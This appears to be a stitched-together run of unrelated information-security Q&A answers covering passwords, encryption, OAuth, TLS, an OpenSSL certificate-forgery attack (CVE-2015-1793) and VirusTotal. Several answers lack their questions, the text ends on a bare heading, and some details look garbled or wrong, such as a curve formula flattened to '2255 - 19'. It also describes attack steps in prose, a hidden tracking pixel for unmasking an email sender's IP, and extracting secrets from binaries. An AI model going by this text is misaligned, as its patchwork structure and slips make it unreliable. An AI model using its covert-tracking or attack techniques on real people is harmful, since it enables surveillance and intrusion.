The pub and name of a long defunct book shop are a bit better because the pub might be named "the lamb and wicker basket" and the book shop might be "eggertsons & son's mind food", which are probably not found on any readily-available list on the internet.

I'm not sure about where to put the train station. That's basically a place name, which I can get at by throwing a spider at wikipedia or possibly download in a ready-made list from some kind of GIS website, so I don't think that would be a good idea to use just one of these snippets.

However, as you suggest, combining these personal snippets would make for a very strong password. E.g. the phone number of your long-dead aunt, combined with the place you spent your first vacation at, combined with the licence plate of your grandfather, combined with the pub where you met your wife - that would probably make a very good password.

The battery horse staple thing comes from the diceware wordlist, which consists of about 7000 words. There are more zip codes, far more phone numbers, far more license plates, far more place names than that, so the resulting combination would be much stronger than a diceware password, assuming that your attacker didn't know you very well.

If you wanted to teach this method to people, you'd have to make sure that they understood that the strength of the resulting password depended on the number of possibilities for each of the personal snippets. "Your grandfathers license plate number" opens up millions of possibilities, while "your brother's favorite food" or "your best friend's favorite color" only offers a few easily guessed possibilities and therefore shouldn't be included as a part of the password.


You can!

Linux has a pretty versatile WiFi driver framework for WiFi cards that do most of the WiFi handling in software (most of the cards these days).

A top of that framework (mac80211) the individual device drivers talk to the cards.

Or, a dummy driver, https://wireless.wiki.kernel.org/en/users/drivers/mac80211_hwsim , talks to an internal virtual card. You can have arbitrarily many of those attached to the same virtual ether for simulation purposes.

You could run a hostapd impending an access point on one of these virtual cards, and simulate arbitrarily many other cards that use that virtual WiFi. Tadah! Wrap all in a script, and deploy to the students' Linux PCs. They all get their own virtual networks simulated on their own PC.


Privacy and security risks of Green Card scanning with or without offical RFID protection envelope

For starters, it appears that Green Cards and passports from many countries use the ISO/IEC 14443 NFC protocol in some form. Wikipedia documents a number of common but optional protection mechanisms for Biometric passports, but notes attacks on them, e.g. allowing attackers to clone a passport by examining and scanning the unopened postal mail package in which it is delivered.  See Radio-frequency identification


How secure is this hash-based personal password scheme?

SHA-512

PROS:

Due to the avalanche effect, every single modification to the suffix will change the SHA512 sum entirely. This means that from one N first letters of one hash you can't say anything about the N first letters of another hash, making your passwords quite independent.
SHA512 is a one-way compression function, so you can't deduce the password from the hash; you could try brute-force passwords that will give the same SHA512 sum. As you only use part of the hash, there's more chances to find more than one password that will match.

CONS:

You think you have a strong password as it is 12 characters long and contains both letters and numbers, but it actually has a very limited character set of 0-9 + a-f (it's a hexadecimal number). This gives only 16^12 i.e. log2(16^12)=48 bits of entropy, which is less than 10 characters of a-z+0-9 and close to 8 characters of a-z+A-Z+0-9.
Online services could save the hashes you create. Use a local tool for the hashing, instead.
It's possible you can't recall your seed in all cases, which may lead you to lose your password.

What happens if you want or are required to change a password? Does the seed become my_p4SSWord!Sitename2 or something else? How you keep track of the count?
The site/service name is not always unambiguous. Was your Gmail password suffix Google or Gmail or did you first use YouTube? Was your Microsoft account Microsoft or Live or Office365?
Combinations of these makes things even uglier.

If the site has password complexity requirements, you'd had to add characters and/or convert some of the characters uppercase manually after the hashing. How to keep track of these modifications?
Someone could still find out your procedure e.g. by seeing you create/use a single password. That would compromise all your passwords at once.

bcrypt

While bcrypt would

give more entropy usings Radix-64 encoding with 64 characters;
ASCII 32  (space) through 95 _
(!"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_)
be slower to calculate
use a user defined iteration count you could utilize to make it as slow as you wish

...it's incompatible with your current procedure, as it has incorporated salting and would give you a different hash every time:

$ htpasswd -nbBC 12 Elling my_p4SSWord\!Sitename

Elling:$2y$12$jTkZQqYzWueA5EwKU1lLT.jbLLXUX.7BemHol.Q4SXhoJyeCVhcri
Elling:$2y$12$c1lDwR3W3e7xlt6P0yCe/OzmZ.ocKct3A6Fmpl8FynfA.fDS16bAa
Elling:$2y$12$eAciSW6iGxw/RJ7foywZgeAb0OcnH9a.2IOPglGGk.wL9RkEl/Gwm
Elling:$2y$12$EU/UDJaZYvBy6Weze..6RuwIjc4lOHYL5BZa4RoD9P77qwZljUp22

...unless you exclusively specify a static salt (possible on some implementations like PyPI bcrypt).

Password managers

All the cons are solved in a password manager creating passwords that are

random
completely unrelated
can have different requirements (different character sets and minimum/maximum lengths).


Is hardware based disk encryption more secure that software based?

The implementation is at least as important as the algorithm.  I was trying to figure out the same thing for the Hitachi Bulk Data Encryption and ATA Security Extensions... but I never got a satisfactory answer from Hitachi.

Since all the drives ship with a factory key for AES 128, and the drives are always encrypted (you encrypt the decryption key with the ATA security extensions password), and since the drives are mass produced, how is the AES key generated, and where does the entropy come from?

Short of your own reader to get "underneath" the security extensions and read the raw platter, you never know if all the AES encryption systems are using exactly the same key, a flawed random number generator or something.

Hardware is a black box.  Software gives you some control.  Yes, you always need to trust the hardware to some degree, but the damage to the reputation of the manufacturer if they're caught with a hardware back door would be very severe.

You need to be able to inspect the implementation.


Encrypting content using same secret key as hash?

As I read it, your question boils down to: is it safe to use the same key for both symmetric encryption of some data, and a MAC on some other data ?

It is possible to build a (somewhat contrived) example where such usage is not safe. For instance, the symmetric encryption could be a custom stream cipher where the stream consists in HMAC values computed over successive value of a counter; in that case, the MAC using the same key could interact with encryption and leak information. However, with "normal" encryption algorithms and HMAC, risks are low. The same could not be said if the MAC was CBC-MAC: using the same key for encryption in CBC mode, and for CBC-MAC, is a deadly sin.

In general, it is best if each individual key serves a unique purpose. The generic method, here, is to have a "master key" K, and derive from that key, using a one-way Key Derivation Function, a key for encryption and another key for the MAC. In practice, this can be as simple as hashing K with SHA-256, and splitting the 256-bit output into two 128-bit halves; the first half is to be used for the encryption, the second half for the MAC. This is secure based on some partial one-wayness assumptions over SHA-256, assumptions which are quite reasonable.

SSL itself uses its own KDF, which is called, in the SSL specification, the "PRF".

If the secret key is somewhat weak, i.e. is derived from a password, then attackers observing the exchange may use what they saw to run an offline dictionary attack, i.e. try potential passwords; this is "offline" in the sense that attackers do that on their own machines and don't have to talk to the honest server for each try. Offline dictionary attacks are a problem. Running the protocol within SSL is a good way to thwart such eavesdroppers.

If there is no SSL, the same attackers could turn active and modify the encrypted data returned by the server. Thus, the encryption system should also include its own MAC. Combining MAC and encryption is known to be tricky, so modes which do the job properly (like GCM) are highly advisable.

More deviously, attackers could also make fake errors. If you send your GET over plain HTTP, an active attacker could intercept it and return a fake 404 response: since there is no encrypted data in a 404 (indeed, the point of the 404 is to state that there is no data at all), the client has nothing to verify, and cannot reject the 404 message as fake. Depending on what you use your protocol for, this may induce security issues. To protect against active attackers, all responses from the server should be authenticated, including negative responses (404). But, at that point, you are on the verge of reinventing SSL...

On a similar vein, an active attacker could return an old response from the server. Suppose that at some time, data block D1 was stored on the server, and could be obtained with a GET. Later on, the data block is updated with D2. However, the key has not changed, and the GET request from the client is still the same. An active attacker could substitute the D2 from the server by a copy of D1, as previously intercepted.

This can be avoided by using a nonce -- a client nonce, sent by the client; the server then must dynamically compute a MAC on what it returns, and the MAC input must include the client nonce. At that point:

the protocol is no longer as lightweight as could be hoped for;
this really looks like a homemade SSL.

Summary: it is not easy to outperform SSL. SSL is relatively complex, but that complexity is (mostly) intrinsic to the hardness of the problem at hand. A communication protocol which resists to impersonations, alterations and replay attacks, will have to include a number of finely tuned cryptographic elements, and will not be substantially simpler or cheaper to operate than SSL.

If you can arrange for your client and server to share a common high-entropy secret key, then TLS PSK cipher suites will give you good performance and about as little complexity as is possible (no certificate, no asymmetric crypto).


Yes stealing a stored OAuth token from a device and using it to make requests as the user will definitely work. OAuth access tokens are analogous to a traditional session cookie used in a web application. It might help if you're familiar with pre-http-only flag cross-site scripting vulnerabilities were an attacker would exploit a cross-site scripting vulnerability in a web application to steal the victims session cookies from the DOM then use the cookies to masquerade as the user. Most attacks against OAuth2 use a more direct route of exploiting a vulnerability in the providers OAuth2 flow that tricks the user into sending their OAuth token directly to the attacker. Egor Homakov and a handful of other folks have done a great job exploiting popular OAuth2 provider. Some Examples: The Most Common OAuth2 Vulnerability and How we hacked Facebook with OAuth2 and Chrome bugs.


Have a look at the actual error message:

  Certificate is only valid for www.java.com.

It is a server misconfiguration. But in this case this is not a direct security issue because both domains belong to the same company. (It is an indirect one because it teaches people to ignore this kind of error message).

Background

What happens here is this:

You told your browser to visit java.com
But the server answered: I am www.java.com (without aliases) and here is my certificate to prove that.

But your browser does not want to talk to www.java.com, it was told to connect to java.com.

If both domains are not under the control of the same people, this is an issue (think of <something>.dyndns.org):

The connection is encrypted just fine, but you had a secured connection to the attacker. The attacker would then read and possible modify it before passing it on to the real server. When the attacker gets the answer, he can again read and modify it, before he sends it to you. This is called a Man in the middle attack.

Therefore this warning is important in the general case.

What to do?

To be on the safe side you should do this: Look at the domain in the error message. If it is likly that the domain is a valid destination for where you wanted to go (e. g. added or missing "www"), type that domain into the address bar. Do not copy it because some special character may look like valid characters, so you could end up elsewhere on a phishing side.


Yes.
No, TrueCrypt supports portable installation (running it from USB drive without installation).
Yes, KeePass.exe can be modified in order to sniff on your database password or dump your decrypted database. Make sure you have a different passphrase for TrueCrypt volume and KeePass database! Furthermore, enable "Enter master key on secure desktop" option in KeePass as it will stop some keyloggers from getting your database passphrase.
No, it's very simple and I'm sure there are plenty of howto/guides on Internet.


Would it be more secure or not if all computers in the network use the same operating system?

In 2003, Dan Geer from @Stake published a seminal paper on this very topic - CyberInsecurity: The Cost of Monopoly.  Surprisingly (given that he was employed by Microsoft at the time) he comes squarely down into the camp claiming that diversity is vital to security (emphasis mine):

  Regardless of the topic – computing versus electric power generation
  versus air defense – survivability is all about preparing for failure
  so as to survive it. Survivability, whether as a concept or as a
  measure, is built on two pillars: replicated provisioning and
  diversified risk....

  ...redundancy has little ability to protect against cascade
  failure; having more computers with the same vulnerabilities cannot
  help if an attack can reach them all. Protection from cascade failure
  is instead the province of risk diversification – that is, using more
  than one kind of computer or device, more than one brand of operating
  system, which in turns assures that attacks will be limited in their
  effectiveness. This fundamental principle assures that, like farmers
  who grow more than one crop, those of us who depend on computers will
  not see them all fail when the next blight hits. This sort of
  diversification is widely accepted in almost every sector of society
  from finance to agriculture to telecommunications.

(He went on to conclude that Microsoft was a threat insofar as it introduced a monoculture; which turned out to be a Career Limiting Move for him at Microsoft.)

In the comments, @Johnny suggests that this is a credentialist answer.  While I've chosen to quote a respected professional's well-written paper here, I do so because it mirrors my 20+ years of experience in the computer and security industry.  (Which, heck, almost seems like secondary credentialism.  But I'm just saying that I'm referencing rather than parroting).

For example, the 3-tier (web/app/db) architecture became a widely accepted improvement in security terms a long time ago, because the separation between differing functions helped enforce security.  In that vein, my experience has been that there is a tradeoff between the additional work setting up heterogenous systems (say, IIS with a MySQL-on-Linux backend) and the additional benefit of diversity when attacks (or patches!) introduce disruption into the stack.  And that I've regretted having a larger problem more times than I regretted the extra work :)

Virgin field epidemics - either because you're not segmenting your networks, or because you're using the same passwords, or you've only got one [DNS/Hosting/Network] provider, or because you're using the same OS everywhere - all end badly.


Why crack WEP or WPA/WPA2 PSK when it can be sniffed through monitor mode capture?

Your point 2 is a bit inaccurate. The PTK is never sent over the air in WPA; it is computed from the PMK, an AP nonce, a client nonce, the AP MAC address, and the client MAC address (this is "key exchange", but the PTK never gets transmitted). Without the PMK, an attacker who sniffs the data can't discover the PTK without doing a brute-force attack (essentially, the client sends a MAC with their nonce, using a key which is part of the PTK; the attacker tries various passphrases, computes PMK and PTK using those passphrases, and then verifies the MAC). So the attacker can sniff the handshake, but it doesn't really help them with things that aren't brute-force.

As to your point 1: The whole point of a PSK is that it authenticates both sides. If you don't know the PSK, then you can't know the PTK derived by the client. That means that your fake AP won't be able to impersonate the real one, because you can't decrypt the data the client sends you (and can't send a valid MAC on the GTK, so even initial association will fail). And, as mentioned, monitor mode doesn't help because the keys themselves are not transmitted over the air; all a handshake gives you is enough to try a brute-force, but it doesn't give you the keys directly.


How does the OpenSSL Alternative chains certificate forgery (CVE-2015-1793) attack work?

From the description, one may infer that the attack works the following way (warning: I wrote "infer" and I mean it -- I have not tried it):

The attacker is in position to intercept all network traffic from the victim (e.g. the attacker operates the WiFi access point to which the victim unwisely connected).
The attacker owns (legitimately !) some domain, let's call it "evilattacker.com", and has bought a completely valid certificate with that name in it; namely, the attacker owns a certificate A, that contains the name www.evilattacker.com, and is signed by some trusted root V. The attacker pushes a copy of that certificate (the public key) on a publicly accessible Web site, say his own site; the corresponding URL may be (for instance) http://www.evilattacker.com/cert.crt (it could also be on any kind of public hosting, it does not matter).
The victim wants to connect to its bank site. His browser tries to open a SSL session with www.bank.com.
The attacker intercepts that connection and pretends to be the bank. To that effect, the attacker sends a certificate chain C,X (in that order) where:

C is a synthetic certificate that contains the name www.bank.com, and is signed with the attacker's own private key, and contains an Authority Information Access extension with a URL equal to http://www.evilattacker.com/cert.crt (that is, pointing to where the attacker has published his own certificate C).
X is random junk.

The client (victim's browser) will fail to validate the C,X chain, because X is random junk. If the browser uses an old OpenSSL, then things stop there and a connection error is reported. However, if the browser uses a new, affected version of OpenSSL, then it will try to rebuild an alternate chain, following the URL found in C. In particular, the browser will download A (the attacker's certificate) and then V (the external, trusted certificate authority), and will end up with the C,A,V chain.
If there was no bug, then the client would reject that new C,A,V chain because even though all cryptographic signatures match, the middle certificate A lacks the Basic Constraints extension with the cA flag set to TRUE: the attacker's certificate is not a CA certificate, so it cannot appear in the middle of a valid chain. However, due to the bug, in that specific situation, affected versions of OpenSSL fail to check the cA flag in the Basic Constraints extension, and accept that C,A,V chain as valid. The browser is persuaded that it talks to the genuine bank server, and proceeds without any warning. The attacker can now run a Man-in-the-Middle attack and plunder the victim's bank account.

Ironically, failure to check the Basic Constraints extension for middle certificates was also a bug in Windows / Internet Explorer circa 2003, and Microsoft was duly and heavily mocked for that; the OpenSSL developers thus just lost all rights to such mocking.

The bug impacts every application that uses an affected version of OpenSSL (not a lot of them, since the buggy code was added only recently), and is in position to process a certificate chain sent by a potentially hostile peer. This means SSL clients (when validating a server's certificate); this also means SSL servers themselves, when (and only when) these servers request certificates from clients (certificate-based client authentication is pretty rare in everyday's Web).


Security flaws of storing strings and some of its substrings using Microsoft SQL Server Transparent Data Encryption?

TLDRTLDR

Don't do this!

TLDR

TDE is irrelevant for this question.
Don't do this (index encrypted substrings of encrypted strings).
Don't index encrypted values generally.
If you are going to do this anyways, use an HMAC or other MAC algorithm to generate the encrypted values to be used in the index(es).
If you're feeling really lucky, consider using a format-preserving encryption algorithm or a "Searchable Symmetric Encryption (SSE)" algorithm instead of a MAC algorithm.

TDE

I'm assuming "TDE" is Microsoft SQL Server Transparent Data Encryption. TDE is irrelevant (for your question). TDE encrypts an entire database and is 'transparent' to database users or other clients connecting to the database. What TDE protects from is an adversary accessing the data in the database offline, i.e. via copies of the database files or copies of the encrypted data, but without also having access to the encryption key with which the secured data was encrypted. Think of an attacker stealing a backup of the database, e.g. stealing a backup tape cartridge containing the database data or log files. If an attacker can access a live database for which TDE is configured, and the database system doesn't otherwise deny them access to the secured data, they can access any data in it (that's not otherwise encrypted apart from TDE).

Indexing Encrypted Data

The most secure method of searching encrypted field values is going to be to decrypt all of the field values to be searched first. Ideally, you'd do this directly in the database, e.g. in a stored procedure or function. It seems unlikely that an attacker could read the memory of your database process(es) but not also access the encryption key(s) used to encrypt the data in the database.

Your idea of storing encrypted "stubs" or substrings will weaken the security, perhaps substantially. This is a great answer on another question on this site that seems to generalize your question somewhat:

encryption - Indexing encrypted data for efficient searching

That answer points out an important reason why this approach weakens the security:

  At best, what you could do is to implement deterministic encryption, such that encryption of a given record value always yields the same encrypted result. This leaks a modicus of information (if two records have the same contents then this will show, despite the encryption layer); on the other hand, it allows for exact searches: you encrypt the value to search, and use the index on the encrypted values.

You can't create an index of encrypted values without exposing (to people that can see those encrypted values) that equal values are equal. Typically, values would be encrypted with a salt that's unique to each specific instance or occurrence of a value but one consequence of that is that any number of instances of the same cleartext will be encrypted using different salts and thus will result in different encrypted values. This is one reason why decrypting the values to be searched – before searching – is probably the best choice if you really need to store these values encrypted by default, even for authorized database users.

Note that this same weakness applies even for searches for exact matches, i.e. even if you're just indexing the encrypted values whole for performing searches for exact matches. In fact, for the two sentences I quoted above, the sentence immediately following is:

  Substring searches, however, should be avoided at all costs.

(That's referring to indexing encrypted substrings.)

Algorithms for Indexes of Encrypted Data

But – if you decide that weakening security as described above is something you're willing to accept, then – cryptographically – the top two answers on this related Stack Overflow question suggest using a MAC algorithm to generate the indexed version of the field to be searched:

database - What's the best way to store and yet still index encrypted customer data? - Stack Overflow

This answer on the same question above suggests carefully considering using a format-preserving encryption algorithm, the care being in knowingly using a class of algorithms that are relatively new and thus possibly vulnerable to attacks not yet publicly known.

In this comment on this very question, @AlphaD suggests considering using a "Searchable Symmetric Encryption (SSE)" algorithm. This should only be considered with even more care than for considering a format-preserving encryption algorithm. SSE algorithms are so new that there wasn't even a Wikipedia page for them when I checked.


Is it possible to find email sender who has hidden their IP address in the header?

A practical technique that has been used many times effectively involves HTML embedding a 1x1 pixel image in a reply mail, sourced on a webserver you control. Only the recipient should pull that image from the server. HTML embedded images are not attachments, google <img src...

It is somewhat uncommon for email clients ( and even less likely for browser based email account access ) to block images from being loaded, so there is a fair chance of success.

Other than that, schroeder has answered canonically; you’ll need mailserver log access - perhaps you can convince an administrator, if the email was somehow threatening, lewd, etc.

Edit: To clarify, I suggest that OP reply to the sender with a crafted email that links to a 1x1px image on a webserver he controls/can read www access log on. Some of these provide user-level webpages ( host.tld/~user ), with access_log in the user’s folder.


No matter what programming language that you use, if the consumer secret is somewhere inside the binary,  it can be retrieved.

If it is simply hardcoded in the source, a simple $ strings -a app.exe will give you a list of strings in the binary. The consumer secret will be one of them.

Obfuscation might deter the casual snoop, but given enough time and resources, it can be extracted.

  Is it so bad if it's not keep secret?

Someone in possession of your consumer key/secret pair can pose as your application, abuse whatever restrictions the twitter API has, which might result in your app being unusable for other users and eventually getting blacklisted[1]

  What are the alternatives here beside asking users to registers their own Twitter > applications and use their own consumer key and secret.

Instead of the app itself making calls to the twitter API, you can have a proxy service that you send the oauth token/secret pair to and it makes the necessary API calls, returning data to the user. (As mentioned in the relevant stackoverflow thread)

1. https://dev.twitter.com/docs/rate-limiting/1.1


What manufacturers create OATH HOTP cards now that InCard Technologies is no longer in business?

I don't explicitly know the answer to your sourcing problem, but I do know a bit about the cards and their internals. That being said, I'm pretty sure GIS manufactures them.

There are two classes of card internals:

Discrete small pitch surface-mount components embedded inside the plastic.
Custom chip-on-board encased in epoxy, again embedded in the plastic.

The first one can be seen by cutting the card's layers apart with a very sharp scalpel. It's tedious work, but you can often find all sorts of interesting internals. You can also "image" the internal layout with a high resolution baggage scanner or similar equipment.

The second one is more difficult to work with. You can cut the card up, but you'll just find a black blob. You can use corrosives to dissolve the epoxy and reverse engineer it, but that's annoying and often damages the internal die.

If you want to build your own, it's actually not hard. Just buy a bunch of tiny SMD components that do the job (they're often significantly thinner than a card), wire them together using thin patch wire, use a dremel to drill down into the guts of an existing card, solder your wires to the card contacts, then use epoxy to fill it. You can use fine sandpaper to flatten it down nicely. It doesn't look very professional, but the card works.


Physical machines not detected when scanning from a VM

Because you are running the scan from within a VM on MachineA, scanning the VMs on MachineB and MachineC and doing it in bridged mode, you ARE going to get odd responses. The host machines are going to make subtle changes to the traffic because the hosts are acting a little like routers. If you have firewalls on the hosts, they will cause their own interference.
Nmap uses TCP/IP stack analysis to perform OS detection. Although Bridged Mode is supposed to bypass the TCP stack of the host, there is still some interaction.
Zenmap
As for Zenmap, the UI gives you the commandline it is running in the "Command: " line. You can add to that with your own modifications like @MarkHillick suggested. (-Pn)


How do AV scanners in VirusTotal check if a file is malicious or not and how trustworthy is its report?

ad 1: It does upload your file, but only if the hash is not known. As the very first thing, a piece of Javascript will calculate a cryptographic hash (SHA-256 if I recall correctly, but might be wrong) and sends that. The engine then, rather than scanning, looks up the hash in a already-did-it database. Only if not present, or if you insist, it will upload the actual file.
How secure is this? Pretty much 100%, or as close as you can get to it. The odds that your file has the same hash as an already scanned file but isn't the same file are diminuitive. Not quite zero, admittedly, but as good as.

ad 2: It doesn't make much of a statement at all by itself other than "no problems were found" if there were zero hits reported. What it does is, it runsaround 60-70 different scanners, some of which are well-known, and some I've never heard of, and displays their output. Which, sometimes, contains false positives, and which may very well contain false negatives. The actual usefulness of virus scanners is being disputed, but alas it's as good as you can get. At least, virus scanners detect well-known threats relatively well.
Plus, there's the community thingie where users can give ratings, but it all comes down to trusting some unknown guy on the internet, so... bleh.

ad 3: Hardly. The best alternative is to never execute programs of unknown or even dubious origin. Anything else is reading tea leaves. Sure, some read the tea leaves better than others, but they are still only reading tea leaves. Dynamic analysis exists, pretty much every desktop AV software has that nowadays (running most system calls through a proxy lib), but whether it actually does something useful other than burn massive CPU is questionable. Virus Total may be somewhat better insofar as it runs a massive amount of scanners. Whether that actually increases security is uncertain. If you think about it: Assuming the scanners that are run are actually worth their salt, then a single one of them should do. On the other hand, if they're not worth their salt, what value is added by running more of them? Quoting an old wisdom: If you add nothing to nothing, the sum remains rather small. Or, as stated in Fidelio: "Nothing, if you add to nothing air".

If you got a file from a presumably trustworthy site, and you have zero hits on VT, then it's probably, usually, rather safe. If you keep the file around for two weeks and re-scan it again two weeks later, even better (assuming a new threat may become known in the mean time). That's what I'm doing, and I've done that years before VirusTotal even existed -- so far it works very well (or, it seems to work, I might have malware that I don't know about). In the end, you never know for sure.

About dynamic analysis
That's not happening. You can deduce what kind of analysis VirusTotal is doing from its display. It is almost certainly not just a forwarding of hashes to some other service (as suggested in a comment) because of the time it takes to scan, and because definition files are not always in sync (indeed most of the time they're not) with the manufacturers' tools. You can also unpack and re-pack a ZIP file (which almost certainly results in a non-identical file), and it will be scanned just fine. How would that work if only hashes are being handed around? It wouldn't... but it does. That, and the fact that sometimes one or another scanner fails to open an archive, indicates that actual scanning happens.
You can deduce that they do static signature matching and heuristic scanning because signature matching is what every AV does and has been doing for 30+ years by default, and heuristic analysis is what most (if not all) scanners do by default for at least 20 years, too.

On the other hand side, you can be pretty sure that no dynamic analysis is done because that is forbidding and impractical for a web service. In order to do dynamic analysis, you must run the binary in a secured environment (emulator, virtual machine or similar) which provides a complete operating system for the binary to run, and which is able to accomodate the memory and CPU requirements of a haphazard amount of a-priori unknown programs. That's hardly realistic. Plus, there is a very non-neglegible risk in running unknown software which could do basically everything including running malware services inside the VM, or breaking out of the VM. You know, for example a web browser or a mail client needs internet access to function properly. How do you provide that without also granting any malware that you run internet access? Google (the owner of VirusTotal) very certainly wouldn't like being accused of running malware services.
Lastly, you must have 100% coverage to be sure (else, the analysis is pretty pointless, malware does not necessarily do its work upon program launch), so you need either a human or the most advanced fuzzing robot in the world to provide adequate input to the program so it takes all possible paths. Do that for a web service which maybe ten million or so people use every day, and nobody likes to wait longer than a minute or two for the results, good luck.


How to handle OAuth2 registration where email address already exists as user account?

I'm doing the exact same thing, but with an identity provider where we indirectly control who creates an account, and with which mail address.

I can't see any faults in your thinking, but I'd still be uncomfortable.

You're trusting an external entity to vet your users for you. I'm aware that's the basic premise of oauth/openid connect, but you're trusting that the verification process stays the same as it is now. Do you have something in place to notify you when it changes?
Edge case: One user closes a facebook/google account, another one registers the same mail address.
Make sure you document the process by which Identity Providers must be chosen (eg that you shouldn't allow providers that don't verify). The people who know this is a cornerstone of your security model might move to other projects, and people who don't realize the consequences might want to add more IdPs in the future.

I thought about a different solution where I'd send my users an URL with a long, random element in it (like a password reset link) and when they hit it, I'd require them to sign in using oauth. This way, I'd know for sure who they were, because it was me sending them the URL link to a mail address I had verified. You could send that mail on first login attempt, so it would look exactly like a password reset, minus the actual entry of a new password - user must enter his mail address, you check whether it exists in your database and send him the login link, which will link his id token subject identifier to the correct user account.


Can Company A read/redirect/mitm the traffic of company B?

Not on a professional VPN service. Secure network configuration is a basic property of those services. So I believe that any reputable VPN service will configure their networks in a way that this attack is not possible.

  What happens if both connections terminate in the network of the service provider?

On a minimally well configured network? Nothing interesting happens. The VPN server will be configured with interface isolation, user isolation, guest isolation, or something like this, depending on the vendor. That means that any traffic coming from the guest can only be sent to the gateway, not to other addresses on the same network. And the gateway is configured to not route packets from the internal network to another address on the internal network.

  Is there a security risk? What are the attack vectors or security risks?

The main security risk is a misconfiguration somehow. But a reputable VPN provider will mostly sure have Change Management Process in place to take care of that.

So there's no risk? There's always a risk when you don't control all your infrastructure. But the risk is lower than it seems. Take into account that your own employees can mismanage things, allow external access to internal servers, leak credentials, so nothing is 100% secure.


TLS mutual authentication client hostname verification

The exact verification done with client certificates depends on the use case. For example in SIP (voice over IP) it is common that the same same system can be both client (initiating a call) and server (accepting a call). In this cases it is common that the same certificate is used as client and server certificate and that it contains the hostname of the SIP device. But with HTTPS it is more common that the client certificate contains an email or other user specific identify and no hostname at all.

If the subject of the certificate should be verified or not depends on the use case too. In some cases the server knows which subject to expect and can verify that the certificate matches the expectation. But for example in HTTPS the server typically only knows that it expects a certificate issued by a specific CA (and verifies this expectation) and then simply assumes the user information in the certificates subject are correct (since the CA is trusted to put the right information there) and uses the extracted user information to determine which user has been connected, i.e. instead of giving the username in a login prompt.


Can 2 devices have same host-name on same network?

Question 1:
Yes it is possible for multiple devices to have the same hostname on a network, you can simply change the name of any two computers on a network and they will share the same hostname. Unfortunately this can cause a number of different problems, like domain name resolution will not work correctly since they are both sharing the same hostname. Though they can get different IP addresses assigned via DHCP since that uses MAC addressing to assign IP addresses.

MAC addresses are group assigned to manufacturers much like IP addresses are assigned to ISPs, so that's not unlikely if both devices are from the same manufacturer.

Question 2:
Probably not. If you have any friends or family or co-workers (small-business or home network), that have a similar android device and have accessed your network, that entry may be listed in your DHCP Leases/Connected Devices list. If you delete the DHCP lease/disconnect the device in question and it pops up again, it could be caused by a number of things: some devices (phones especially) have multiple MAC addresses and can have multiple DHCP entries, someone could have left a device there, it could be a cracked or stolen wpa-psk key (though I doubt it), and a device spoof seems really unlikely.

Hope that helps!


Authentication vs. Verification in General and with Biometrics

Verification is the act of proving your identity. Authentication is the act of proving you are the same person as before, without necessarily knowing who that person is.

re: Biometrics, I think the confusion comes down to the nature of biometrics. A username/password (something you know) says nothing about who you are. The same is true of a hardware token (something you have).

The author of the book you are reading is of the opinion that since biometrics are something you are, they are indistinguishable from a verification event.

This is not always the case for at least two reasons:
1. Presenting your biometric will be compared to the pre-enrolled biometric. This says nothing about who you are, only that you are the same person as was present at enrollment.
2. The data stored for a biometric may be less than that required for a verification event. If the system fails to identify you it can't just go and get extra samples, which you could if you were performing a verification.

Consider the use of biometrics to protect the privacy of data. A system might take a biometric to protect data that you have entered so it is only shown to you when you return. If this system does not tie the biometric to an identity through a verification process, the biometric is just as much an authentication factor as a password issued for the same process.


Let's address your points one by one.

  The 3rd party sent everyone in our company the same password in a company-wide e-mail.

A password that everyone knows is not a password. It's like leaving the key under the mat, only without the mat to hide it.

  The app does not have a way to change the password.

So if you ever lose your keys or think someone else might have them, you can't change the locks - and from point 1, we know that your keys are already in other people's hands.

  All of our usernames are predetermined and easily guessable.

So, the people who have your keys also know where you live.

  It's possible to login as anyone from any device into this app.

Put the first three together - other people have your keys, they know where you live, and you can't change the locks - and yeah, this is the result. Anyone can get into somewhere that should be yours alone. To recycle your employer's car analogy, he's asking all employees to lock their cars but leave the keys in the door, and then park in the company car park underneath a sign with their name on.

And on top of all this, he's asking you to do this on your personal phone. Your employer has no right to be touching that device. Depending on what this app does, this could be exposing your personal data to risk because of a third-party security flaw that you have no control over.

Even if the third-party app isn't malicious and doesn't do anything that causes a risk, there's no guarantee that it's 100% free of accidental flaws or bugs that might cause a security weakness or present an opportunity for some other malicious party to exploit. Given this third-party company's atrocious handling of basic security practices like "don't email passwords", "don't re-use passwords", and "always allow users to change their passwords", the chances of their app being completely safe, secure and free of vulnerabilities is looking pretty slim.


It's fine to stick with RSA. ECC is more space-efficient, but it is not supported everywhere.

  My questions are is it safe start using ECC or should one stick with RSA for at least a few more years?

When using curve25519, ECC is considered more secure. It is fast and immune to a variety of side-channel attacks by design. RSA is no less secure though in practical terms, and is also considered unbreakable by modern technology. It is sufficiently fast for use by GnuPG.

  But is this Curve compatible to older GnuPG-Version and other systems or are there some problems?

It is incompatible with older systems. It is necessary for all parties to support the same algorithm. You can, however, have multiple subkeys. You can have a single newer subkey with ECC, and an older one with regular RSA which could later be revoked once ECC support is ubiquitous.

  Also will this be something we can use for the next few years or should I expect some constant changing in terms of some curves will be standardized and stay for a long time (like RSA) and supported by all systems and some curves might be disappear because they're not trustworthy?

ECC is old. Not as old as RSA, but it is still old and well-studied. It is unlikely that curve25519 will disappear due to trustworthyness as it uses nothing-up-my-sleeve numbers. It is a safe curve. Curve25519 uses modulo p = 2255 - 19 and y2 = x3 + 486662x2 + x. Compare this with a standard NIST curve like P-256 where these values are... unexplained at best, leading people to speculate that they were designed intentionally to weaken them to classes of attacks known only to the NSA (NOBUS). The only reason it would fall out of favor is if a major attack on this class of curves is found.

  I also came across a paper where the NSA recommends keep using RSA and wait for Post-Quantum-Cryptography instead of using ECC.

This is in part because ECC requires a smaller key size. For classical security, this is absolutely fine, and a 256-bit ECC key can be stronger than a 2048-bit classical key. Both of these types of keys can be broken by functioning cryptoanalytic quantum computers. For a quantum computer to function, it needs a number of qubits (the quantum equivalent of transistors). It is very difficult to get a large amount of qubits to work together due to a phenomenon known as quantum decoherence, so the number of may be limited for some time. It is possible that a cryptoanalytic quantum computer will have enough qubits to break a 256-bit ECC key, but not a 2048-bit RSA key. It may be better to wait for post-quantum cryptography like SIDH, NTRU, or NewHope which resist all these attacks.

  I'm just an average GnuPG-user but it seems to me there is some sort of uncertainty about the way cryptography develops within the next few years.

It is perfectly acceptable to keep using RSA. Once ECC is better supported, you can migrate to it in the form of a new subkey. ECC keys and signatures are much smaller, so if this is a priority for you, you may want to start using ECC. RSA keys and signatures are large and can be quite unwieldy.


Using company wifi for inappropriate sites

